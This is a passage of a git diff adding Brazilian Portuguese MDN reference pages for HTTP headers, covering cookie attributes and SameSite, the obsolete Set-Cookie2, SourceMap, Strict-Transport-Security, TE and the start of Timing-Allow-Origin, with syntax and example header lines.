<dt>Expires=<data> {{optional_inline}}</dt> + <dd>O tempo de vida máximo do cookie como uma marcação de tempo (timestamp) HTTP. Veja {{HTTPHeader("Date")}} para a formatação detalhada. Se não especificado, o cookie terá o tempo de vida de uma <strong>sessão de cookie. </strong>Uma sessão é finalizada quando o cliente é desligado, significando que as sessões de cookies serão removidos nesse momento. Contudo, muitos navegadores web têm uma característica denominada de "restaurar sessão" que salvará todas suas abas e as trará de volta na próxima vez em que você utilizar o navegador. Os cookies estarão também presentes e será como se o navegador nunca tivesse sido fechado.</dd> + <dt></dt> + <dd> + <p>Quando uma data de expiração é atribuída, o tempo e a data são relativos ao cliente em que os cookies estão sendo configurados e não ao servidor.</p> + </dd> + <dt>Max-Age=<digito-diferente-de-0> {{optional_inline}}</dt> + <dd>Número de segundos até o cookie expirar. Um ou mais digitos de 1 a 9. Navegadores antigos (ie6, ie7 e ie8) não suportam Max-Age. Para cada navegador, se ambos (Expires e Max-Age) forem atribuídos, Max-Age terá precedência.</dd> + <dt>Domain=<valor-domínio> {{optional_inline}}</dt> + <dd>Especifica os hosts aos quais o cookie será enviado. + <ul> + <li>Se não for especificado, será usado o host do URL do documento atual, não incluindo subdomínios.</li> + <li>Ao contrário das especificações anteriores, pontos de prefixo em nomes de domínio (<code>.example.com</code>) são ignorados.</li> + <li>Se um domínio for especificado, subdomínios estarão sempre incluídos.</li> + </ul> + </dd> + <dt>Path=<valor-caminho> {{optional_inline}}</dt> + <dd>Indica um caminho (path) de URL que necessita existir no recurso solicitado antes de enviar o cabeçalho de Cookie. O caractere %x2F ("/") é interpretado como um separador de diretório e os sub-diretórios serão também correspondidos (por exemplo: Path=/docs, "/docs", "/docs/Web", ou "/docs/Web/HTTP" serão todos correspondidos).</dd> + <dt>Secure {{optional_inline}}</dt> + <dd>Um cookie seguro apenas será enviado para o servidor quando uma requisição utilizando os protocol SSL e HTTPS for realizada. No entanto, informações confidenciais ou sensíveis não deverão ser armazenadas ou transmitidas em Cookies HTTP pois todo o mecanismo é inerentemente inseguro e isso não significa, por exemplo que qualquer informação é criptografada. + <p class="note"><strong>Nota:</strong> Sites inseguros (<code>http:</code>) não podem mais atribuir cookies com a diretiva "secure" (novo em Chrome 52+ firefox Firefox 52+).</p> + </dd> + <dt>HttpOnly {{optional_inline}}</dt> + <dd>Cookies HttpOnly não são acessíveis via JavaScript através da propriedade {{domxref("Document.cookie")}}, as API's {{domxref("XMLHttpRequest")}} e {{domxref("Request")}} são utilizadas para aliviar ataques de cross-site scripting ({{Glossary("XSS")}}).</dd> + <dt>SameSite=Strict<br> + SameSite=Lax {{optional_inline}} {{experimental_inline}}</dt> + <dd>Permite que servidores garantam que um cookie não deve ser enviado juntamente com solicitações de sites cruzados (cross-site) , o que fornece novamente alguma proteção aos ataques de falsificação de solicitação entre sites (CSRF) ({{Glossary("CSRF")}})<em> .</em></dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Sessão_de_cookie">Sessão de cookie</h3> + +<p>Sessão de cookie serão removidos quando o cliente desligar. Eles não especificam as diretivas Expires ou Max-Age. Note que o navegador web tem frequentemente a opção "restaurar sessão" habilitada..</p> + +<pre>Set-Cookie: sessionid=38afes7a8; HttpOnly; Path=/</pre> + +<h3 id="Cookie_permanente">Cookie permanente</h3> + +<p>Ao invés de expirar quando o cliente fecha, os cookies permantentes expiram numa data especificada (Expires), ou depois de uma duração de tempo especificada (Max-Age).</p> + +<pre>Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly +</pre> + +<h3 id="Domínios_inválidos">Domínios inválidos</h3> + +<p>Um cookie pertencente a um domínio que não inclui o servidor original, <a href="https://tools.ietf.org/html/rfc6265#section-4.1.2.3">deve ser rejeitado pelo agente usuário</a>. Por exemplo: O cookie seguinte será rejeitado se foi atribuído por um servidor hospedado em originalcompany.com.</p> + +<pre>Set-Cookie: qwerty=219ffwef9w0f; Domain=somecompany.co.uk; Path=/; Expires=Wed, 30 Aug 2019 00:00:00 GMT</pre> + +<h3 id="Prefixo_do_cookie">Prefixo do cookie</h3> + +<p>Nomes de cookies com os prefixos "__Secure-" e "__Host-" podem ser utilizados apenas de eles forem atribuídos com a diretiva "secure" de uma origem segura (HTTPS). Além disso, cookies com o prefixo "__Host-" devem ter um caminho (path) de "/" (o host inteiro) e não devem ter um atributo de dominio. Para clientes que não implementam prefixos de cookie, você não pode contar com essas garantias adicionais e os cookies serão sempre aceitos.</p> + +<pre>// Ambos aceitos quando de uma origem segura (HTTPS) +Set-Cookie: __Secure-ID=123; Secure; Domain=example.com +Set-Cookie: __Host-ID=123; Secure; Path=/ + +// Rejeitado devido a não atribuição da diretiva Secure +Set-Cookie: __Secure-id=1 + +// Rejeitado devido a falta da diretiva Path=/ +Set-Cookie: __Host-id=1; Secure + +// Rejeitado devido a atribuição de um domínio +Set-Cookie: __Host-id=1; Secure; Path=/; domain=example.com +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> + <td>HTTP State Management Mechanism</td> + </tr> + <tr> + <td>{{RFC("draft-ietf-httpbis-cookie-prefixes-00")}}</td> + <td>Cookie Prefixes</td> + </tr> + <tr> + <td>{{RFC("draft-ietf-httpbis-cookie-same-site-00")}}</td> + <td>Same-Site Cookies</td> + </tr> + <tr> + <td>{{RFC("draft-ietf-httpbis-cookie-alone-01")}}</td> + <td>Strict Secure Cookies</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">A tabela de compatibilidade desta página é gerada a partir das estrutura de dados. Se você quiser contribir com os dados, verifique <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e nos envie um pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie")}}</p> + +<h2 id="Notas_de_compatibilidade">Notas de compatibilidade</h2> + +<ul> + <li>Começando com Chrome 53 e Firefox 52, sites inseguros (<code>http:</code>) não podem mais atribuir cookies com a diretiva "secure".</li> +</ul> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/set-cookie/samesite/index.html b/files/pt-br/web/http/headers/set-cookie/samesite/index.html new file mode 100644 index 0000000000..08b3240d24 --- /dev/null +++ b/files/pt-br/web/http/headers/set-cookie/samesite/index.html @@ -0,0 +1,114 @@ +--- +title: SameSite cookies +slug: Web/HTTP/Headers/Set-Cookie/SameSite +tags: + - Referências +translation_of: Web/HTTP/Headers/Set-Cookie/SameSite +--- +<p>O atributo <span class="seoSummary"> <strong><code>SameSite</code></strong> </span> do <span class="seoSummary">{{HTTPHeader("Set-Cookie")}} </span>. O cabeçalho de resposta HTTP permite que você declare se o seu cookie deve ser restrito a um contexto de primeira ou mesma parte.</p> + +<h2 id="Valores">Valores</h2> + +<p>The <code>SameSite</code> aceita três valores:</p> + +<h3 id="Lax"><code>Lax</code></h3> + +<p>Os cookies podem ser enviados com navegação de alto nível e serão enviados juntamente com a solicitação GET iniciada pelo site de terceiros. Este é o valor padrão nos navegadores modernos.</p> + +<h3 id="Strict"><code>Strict</code></h3> + +<p>Os cookies serão enviados apenas em um contexto de primeira parte e não serão enviados juntamente com solicitações iniciadas por sites de terceiros.</p> + +<h3 id="None"><code>None</code></h3> + +<p>Cookies serão enviados em todos os contextos, ou seja, é permitido enviar origem cruzada.</p> + +<p><code>None</code> costumava ser o valor padrão, mas as versões recentes do navegador fizeram <code>Lax</code> o valor padrão para ter uma defesa razoavelmente robusta contra algumas classes de falsificação de solicitações entre sites ({{Glossary("CSRF")}}).</p> + +<p><code>None</code> requer o atributo <a href="#Secure"><code>Secure</code></a> nas versões mais recentes do navegador. Veja abaixo para mais informações.</p> + +<h2 id="Fixação_de_avisos_comuns">Fixação de avisos comuns</h2> + +<h3 id="SameSiteNone_requer_Secure"><code>SameSite=None</code> requer <code>Secure</code></h3> + +<p>O aviso a seguir pode aparecer no seu console:</p> + +<blockquote> +<p>Alguns cookies estão usando mal o atributo "sameSite", então não funcionará como esperado.<br> + Cookie "myCookie" rejeitado porque tem o atributo "sameSite=none", mas está perdendo o atributo "seguro".</p> +</blockquote> + +<p>O aviso aparece porque qualquer cookie que solicitar <code>SameSite=None</code> mas não está marcado <code>Secure</code> será rejeitado.</p> + +<pre class="example-bad notranslate">Set-Cookie: flavor=choco; SameSite=None</pre> + +<p>Para corrigir isso, você terá que adicionar o atributo <code>Secure</code> aos seus cookies <code>SameSite=None</code>.</p> + +<pre class="example-good notranslate">Set-Cookie: flavor=choco; SameSite=None; <strong>Secure</strong></pre> + +<p>Um cookie <a href="#Secure"><code>Secure</code></a> só é enviado ao servidor com uma solicitação criptografada sobre o protocolo HTTPS. Observe que sites inseguros (http:) não pode definir cookies com a diretiva <code>Secure</code>.</p> + +<h3 id="Cookies_sem_padrão_SameSite_para_SameSiteLax">Cookies sem padrão <code>SameSite</code> para <code>SameSite=Lax</code></h3> + +<p>Versões recentes de navegadores modernos fornecem um padrão mais seguro para <code>SameSite</code> para seus cookies e assim a seguinte mensagem pode aparecer no seu console:</p> + +<blockquote> +<p>Alguns cookies estão usando mal o atributo "sameSite", então não funcionará como esperado.<br> + Cookie "myCookie" tem a política "sameSite" definida como "frouxa" porque está faltando um atributo "sameSite" e "sameSite=lax" é o valor padrão para este atributo.</p> +</blockquote> + +<p>O aviso aparece porque a política <code>SameSite</code> para um cookie não especificou explicitamente:</p> + +<pre class="example-bad notranslate">Set-Cookie: flavor=choco</pre> + +<p>Embora você possa confiar em navegadores modernos para aplicar <code>SameSite=Lax</code> automaticamente, você deve sim especificá-lo explicitamente para comunicar claramente sua intenção que <code>SameSite</code> política se aplica ao seu cookie. Isso também melhorará a experiência entre os navegadores, pois nem todos eles são padrão para <code>Lax</code> ainda.</p> + +<pre class="example-good notranslate">Set-Cookie: flavor=choco; <strong>SameSite=Lax</strong></pre> + +<h2 id="Examplo"><strong>Examplo:</strong></h2> + +<pre class="notranslate">RewriteEngine on +RewriteBase "/" +RewriteCond "%{HTTP_HOST}" "^example\.org$" [NC] +RewriteRule "^(.*)" "https://www.example.org/index.html" [R=301,L,QSA] +RewriteRule "^(.*)\.ht$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:01:https://www.example.org:30/:SameSite=None:Secure] +RewriteRule "^(.*)\.htm$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:02:https://www.example.org:30/:SameSite=None:Secure] +RewriteRule "^(.*)\.html$" "index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:03:https://www.example.org:30/:SameSite=None:Secure] +[...] +RewriteRule "^admin/(.*)\.html$" "admin/index.php?nav=$1 [NC,L,QSA,CO=RewriteRule:09:https://www.example.org:30/:SameSite=Strict:Secure] +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Title</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{RFC("6265", "Set-Cookie", "4.1")}}</td> + <td>Mecanismo de gestão do estado HTTP</td> + </tr> + <tr> + <td><a href="https://tools.ietf.org/html/draft-ietf-httpbis-rfc6265bis-05">draft-ietf-httpbis-rfc6265bis-05</a></td> + <td>Cookie Prefixes, Same-Site Cookies, e Strict Secure Cookies</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie", 5)}}</p> + +<h2 id="Veja_também">Veja também:</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a></li> + <li>{{HTTPHeader("Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/set-cookie2/index.html b/files/pt-br/web/http/headers/set-cookie2/index.html new file mode 100644 index 0000000000..598e9cc3d4 --- /dev/null +++ b/files/pt-br/web/http/headers/set-cookie2/index.html @@ -0,0 +1,75 @@ +--- +title: Set-Cookie2 +slug: Web/HTTP/Headers/Set-Cookie2 +tags: + - Cookies + - HTTP + - Obsoleto + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Set-Cookie2 +--- +<div>{{HTTPSidebar}} {{obsolete_header}}</div> + +<p>O obsoleto cabeçalho de resposta HTTP <strong><code>Set-Cookie2</code></strong> usado para enviar <em>cookies</em> do servidor para o agente de usuário, mas ele foi depreciado por especificação. Use {{HTTPHeader("Set-Cookie")}} ao invés disso.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Set-Cookie2: <cookie-name>=<cookie-value> +Set-Cookie2: <cookie-name>=<cookie-value>; Comment=<value> +Set-Cookie2: <cookie-name>=<cookie-value>; CommentURL=<http-url> +Set-Cookie2: <cookie-name>=<cookie-value>; Discard +Set-Cookie2: <cookie-name>=<cookie-value>; Domain=<domain-value> +Set-Cookie2: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit> +Set-Cookie2: <cookie-name>=<cookie-value>; Path=<path-value> +Set-Cookie2: <cookie-name>=<cookie-value>; Port=<port-number> +Set-Cookie2: <cookie-name>=<cookie-value>; Secure +Set-Cookie2: <cookie-name>=<cookie-value>; Version=<version-number> + +// Múltiplas diretivas também são possíveis, por exemplo: +Set-Cookie2: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure + +// Múltiplos cookies são separados por vírgula +Set-Cookie2: <cookie-name>=<cookie-value>, <cookie-name>=<cookie-value>, ... +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("2965", "Set-Cookie2")}}</td> + <td>Especificação histórica do Mecanismo de Gerenciamento de Estado do HTTP, obsoleto por {{RFC("6265")}} (<em>Historic specification of HTTP State Management Mechanism, obsoleted by</em> {{RFC("6265")}})</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Set-Cookie2")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Set-Cookie")}}</li> + <li>{{domxref("Document.cookie")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/sourcemap/index.html b/files/pt-br/web/http/headers/sourcemap/index.html new file mode 100644 index 0000000000..075d00e10e --- /dev/null +++ b/files/pt-br/web/http/headers/sourcemap/index.html @@ -0,0 +1,65 @@ +--- +title: SourceMap +slug: Web/HTTP/Headers/SourceMap +translation_of: Web/HTTP/Headers/SourceMap +--- +<div> {{HTTPSidebar}}</div> + +<p>The <strong><code>SourceMap</code></strong> <a href="/en-US/docs/Web/HTTP">HTTP</a> response header links generated code to a <a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">source map</a>, enabling the browser to reconstruct the original source and present the reconstructed original in the debugger.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">SourceMap: <url> +X-SourceMap: <url> (deprecated) +</pre> + +<h3 id="Diretivas">Diretivas</h3> + +<dl> + <dt><code><url></code></dt> + <dd>A relative (to the request URL) or absolute URL pointing to a source map file.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>SourceMap: /path/to/file.js.map</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Titulo</th> + </tr> + <tr> + <td><a href="https://docs.google.com/document/d/1U1RGAehQwRypUTovF1KRlpiOFze0b-_2gc6fAH0KY0k">Draft document</a></td> + <td>Source Map Revision 3 Proposal</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">A Tabela de compatibilidade nesta página é gerada de dados estruturados.If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.SourceMap")}}</p> + +<h2 id="Veja_Também">Veja Também</h2> + +<ul> + <li><a href="/en-US/docs/Tools/Debugger/How_to/Use_a_source_map">Firefox Developer Tools: using a source map</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/strict-transport-security/index.html b/files/pt-br/web/http/headers/strict-transport-security/index.html new file mode 100644 index 0000000000..90f2778b4e --- /dev/null +++ b/files/pt-br/web/http/headers/strict-transport-security/index.html @@ -0,0 +1,122 @@ +--- +title: Strict-Transport-Security +slug: Web/HTTP/Headers/Strict-Transport-Security +tags: + - HSTS + - HTTP + - HTTPS + - Segurança + - header +translation_of: Web/HTTP/Headers/Strict-Transport-Security +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong>HTTP <code>Strict-Transport-Security</code></strong> (geralmente abreviado como {{Glossary("HSTS")}}) permite que um site informe aos navegadores que ele deve ser acessado apenas por HTTPS, em vez de usar HTTP.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de Cabeçalho</th> + <td>{{Glossary("Cabeçalho de Resposta")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Nome do cabeçalho proibido")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Strict-Transport-Security: max-age=<expire-time> +Strict-Transport-Security: max-age=<expire-time>; includeSubDomains +Strict-Transport-Security: max-age=<expire-time>; preload +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>max-age=<expire-time></code></dt> + <dd>O tempo, em segundos, que o navegador deve lembrar que um site só pode ser acessado usando HTTPS.</dd> + <dt><code>includeSubDomains</code> {{optional_inline}}</dt> + <dd>Se este parâmetro opcional for especificado, esta regra também será aplicada a todos os subdomínios do site.</dd> + <dt><code>preload</code> {{optional_inline}}</dt> + <dd>Consulte {{anch("Preloading Strict Transport Security")}} <font>para detalhes. </font><font>Não faz parte da especificação.</font></dd> +</dl> + +<h2 id="Descrição">Descrição</h2> + +<p><font>Se um site aceitar uma conexão por meio de HTTP e redirecionar para HTTPS, os visitantes poderão se comunicar inicialmente com a versão não criptografada do site antes de serem redirecionados, se, por exemplo, o visitante digitar http://www.foo.com/ ou até mesmo apenas foo.com </font><font>Isso cria uma oportunidade para um ataque man-in-the-middle. </font><font>O redirecionamento pode ser explorado para direcionar os visitantes a um site mal-intencionado em vez da versão segura do site original.</font></p> + +<p>O cabeçalho HTTP Strict Transport Security informa ao navegador que ele nunca deve carregar um site usando HTTP e deve converter automaticamente todas as tentativas de acessar o site usando HTTP para solicitações HTTPS.</p> + +<div class="note"><strong>Nota:</strong> O cabeçalho <code>Strict-Transport-Security</code> <font><font>é </font></font><strong><font><font>ignorado</font></font></strong><font><font> pelo navegador quando seu site é acessado usando HTTP; </font><font>isso ocorre porque um invasor pode interceptar conexões HTTP e injetar o cabeçalho ou removê-lo. </font><font>Quando seu site é acessado por HTTPS sem erros de certificado, o navegador sabe que seu site é capaz de HTTPS e honrará o </font></font><code>Strict-Transport-Security</code><font><font>cabeçalho.</font></font></div> + +<h3 id="Um_cenário_de_exemplo"><font><font>Um cenário de exemplo</font></font></h3> + +<p> </p> + +<p><font><font>Você faz login em um ponto de acesso Wi-Fi gratuito em um aeroporto e começa a navegar na Web, visitando seu serviço bancário on-line para verificar seu saldo e pagar algumas contas. </font><font>Infelizmente, o ponto de acesso que você está usando é, na verdade, o laptop de um hacker, e ele está interceptando sua solicitação HTTP original e redirecionando você para um clone do site do seu banco, em vez do real. </font><font>Agora seus dados privados são expostos ao hacker.</font></font></p> + +<p><font><font>Segurança de Transporte Estrito (</font></font>Strict Transport Security<font><font>) resolve esse problema; d</font><font>esde que você tenha acessado o site do seu banco uma vez usando HTTPS, e o site do banco use o Strict Transport Security, seu navegador saberá usar automaticamente apenas HTTPS, o que impede que os hackers realizem um ataque man-in-the-middle.</font></font></p> + +<p> </p> + +<h3 id="Como_o_navegador_lida_com_isso"><font><font> Como o navegador lida com isso</font></font></h3> + +<p> </p> + +<p><font><font>Na primeira vez em que seu site é acessado usando HTTPS e retorna o cabeçalho </font></font><code>Strict-Transport-Security</code><font><font>, o navegador registra essas informações, para que futuras tentativas de carregar o site usando HTTP usem o HTTPS automaticamente.</font></font></p> + +<p><font><font>Quando o tempo de expiração especificado pelo cabeçalho Strict-Transport-Security expirar, a próxima tentativa de carregar o site via HTTP prosseguirá normalmente, em vez de usar automaticamente o HTTPS.</font></font></p> + +<p><font><font>Sempre que o cabeçalho Strict-Transport-Security for entregue ao navegador, ele atualizará o tempo de expiração desse site, para que os sites possam atualizar essas informações e impedir que o tempo limite expire. </font><font>Caso seja necessário desativar a Segurança de Transporte Restrita, a configuração da duração máxima para 0 (através de uma conexão https) expirará imediatamente o cabeçalho </font></font><code>Strict-Transport-Security</code><font><font>, permitindo o acesso via http.</font></font></p> + +<p> </p> + +<h2 id="Pré-Carregamento_-_Strict_Transport_Security">Pré-Carregamento - Strict Transport Security</h2> + +<p><font><font>O Google mantém </font></font><a href="https://hstspreload.appspot.com/" rel="noopener"><font><font>um serviço de pré-carregamento de HSTS</font></font></a><font><font>. </font><font>Ao seguir as diretrizes e enviar seu domínio com sucesso, os navegadores nunca se conectarão ao seu domínio usando uma conexão insegura. </font><font>Enquanto o serviço é hospedado pelo Google, todos os navegadores declararam a intenção de usar (ou de fato começaram a usar) a lista de pré-carregamento. </font><font>No entanto, não faz parte da especificação da HSTS e não deve ser tratada como oficial.</font></font></p> + +<ul> + <li>Informações sobre a lista de pré-carregamento de HSTS no Chrome: <a href="https://www.chromium.org/hsts">https://www.chromium.org/hsts</a></li> + <li>Consulta da lista de pré-carregamento do Firefox HSTS: <a href="https://dxr.mozilla.org/comm-central/source/mozilla/security/manager/ssl/nsSTSPreloadList.inc">nsSTSPreloadList.inc</a></li> +</ul> + +<h2 id="Exemplos">Exemplos</h2> + +<p><font>Todos os subdomínios presentes e futuros serão HTTPS para uma idade máxima de 1 ano. </font><font>Isso bloqueia o acesso a páginas ou subdomínios que só podem ser veiculados por HTTP.</font></p> + +<pre>Strict-Transport-Security: max-age=31536000; includeSubDomains</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + <tr> + <td>{{SpecName('HSTS')}}</td> + <td>{{Spec2('HSTS')}}</td> + <td>Initial definition</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_do_navegador"><font><font>Compatibilidade do navegador</font></font></h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, confira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pedido de pull (pull request).</p> + +<p>{{Compat("http.headers.Strict-Transport-Security")}}</p> + +<h2 id="Veja_também"><font><font>Veja também</font></font></h2> + +<ul> + <li>Postagem no blog: <a class="external" href="http://blog.sidstamm.com/2010/08/http-strict-transport-security-has.html">HTTP Strict Transport Security has landed!</a></li> + <li>Postagem no blog: <a class="external" href="http://hacks.mozilla.org/2010/08/firefox-4-http-strict-transport-security-force-https/">HTTP Strict Transport Security (force HTTPS)</a></li> + <li>Artigo OWASP: <a href="https://www.owasp.org/index.php/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> + <li>Wikipedia: <a href="http://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a></li> +</ul> diff --git a/files/pt-br/web/http/headers/te/index.html b/files/pt-br/web/http/headers/te/index.html new file mode 100644 index 0000000000..9009095fca --- /dev/null +++ b/files/pt-br/web/http/headers/te/index.html @@ -0,0 +1,88 @@ +--- +title: TE +slug: Web/HTTP/Headers/TE +tags: + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/TE +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição <code><strong>TE</strong></code> especifica a codificação de transferência que o agente de usuário está propício a aceitar (você poderia informalmente chamar ele de <em><code>Accept-Transfer-Encoding</code></em>, o que seria mais intuitivo).</p> + +<div class="note"><a href="https://tools.ietf.org/html/rfc7540#section-8.1.2.2">Em HTTP/2 - o cabeçalho <code>TE</code> somente é aceito se o valor <code>trailers</code> é colocado.</a></div> + +<p>Veja também o cabeçalho de resposta {{HTTPHeader("Transfer-Encoding")}} para maiores detalhes sobre codificações de transferência. Note que <code>chunked</code> é sempre aceito para receptores HTTP/1.1 e você não precisa especificar <code>"chunked"</code> usando o cabeçalho <code>TE</code>. Entretanto, ele é útil para configurar se o cliente está aceitando campos de rabeira (<em>trailer fields</em>) em uma codificação de transferência fragmentada usando os valores "<em>trailers</em>".</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">TE: compress +TE: deflate +TE: gzip +TE: trailers + +// Multiple directives, weighted with the {{glossary("quality values", "quality value")}} syntax: +TE: trailers, deflate;q=0.5 +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>compress</code></dt> + <dd>Um formato usando o algoritmo de <a class="external" href="http://en.wikipedia.org/wiki/LZW">Lempel-Ziv-Welch</a> (LZW) é aceito como nome de codificação de transferência.</dd> + <dt><code>deflate</code></dt> + <dd>Usar a estrutura <a class="external" href="http://en.wikipedia.org/wiki/Zlib">zlib</a> é aceito como nome da codificação de transferência.</dd> + <dt><code>gzip</code></dt> + <dd>Um formato usando a <a class="external" href="http://en.wikipedia.org/wiki/LZ77_and_LZ78#LZ77">codificação Lempel-Ziv</a> (LZ77), com um CRC 32-bit é aceito como nome da codificação de transferência.</dd> + <dt><code>trailers</code></dt> + <dd>Indica que o cliente está sujeito a aceitar campos <em>trailer</em> em uma codificação de transferência fragmentada.</dd> + <dt><code>q</code></dt> + <dd> + <p>Quando múltiplas codificações de transferência são aceitas, o parâmetro <code>q</code> da sintaxe de <a href="/en-US/docs/Glossary/Quality_values">valor de qualidade</a> pode elencar codificações por preferência.</p> + </dd> +</dl> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Título</th> + </tr> + <tr> + <td>{{RFC("7230", "TE", "4.3")}}</td> + <td>Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.TE")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Transfer-Encoding")}}</li> + <li>{{HTTPHeader("Trailer")}}</li> + <li> + <p><a href="https://en.wikipedia.org/wiki/Chunked_transfer_encoding">Codificação de transferência fragmentada (<em>Chunked transfer encoding</em>)</a></p> + </li> +</ul> diff --git a/files/pt-br/web/http/headers/timing-allow-origin/index.html b/files/pt-br/web/http/headers/timing-allow-origin/index.html new file mode 100644 index 0000000000..6ea05b265b --- /dev/null +++ b/files/pt-br/web/http/headers/timing-allow-origin/index.html @@ -0,0 +1,83 @@ +--- +title: Timing-Allow-Origin +slug: Web/HTTP/Headers/Timing-Allow-Origin +tags: + - CORS + - HTTP + - Referencia + - Timing-Allow-Origin + - cabeçalho +translation_of: Web/HTTP/Headers/Timing-Allow-Origin +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <code><strong>Timing-Allow-Origin</strong></code> especifica origens que são permitidas de ver os valores dos atributos por funcionalidades da <a href="/en-US/docs/Web/API/Resource_Timing_API">Resource Timing API</a>, na qual caso contrário será reportada como zero dada as restrições entre origens.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox notranslate">Timing-Allow-Origin: * +Timing-Allow-Origin: <origin>[, <origin>]* +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt>*</dt> + 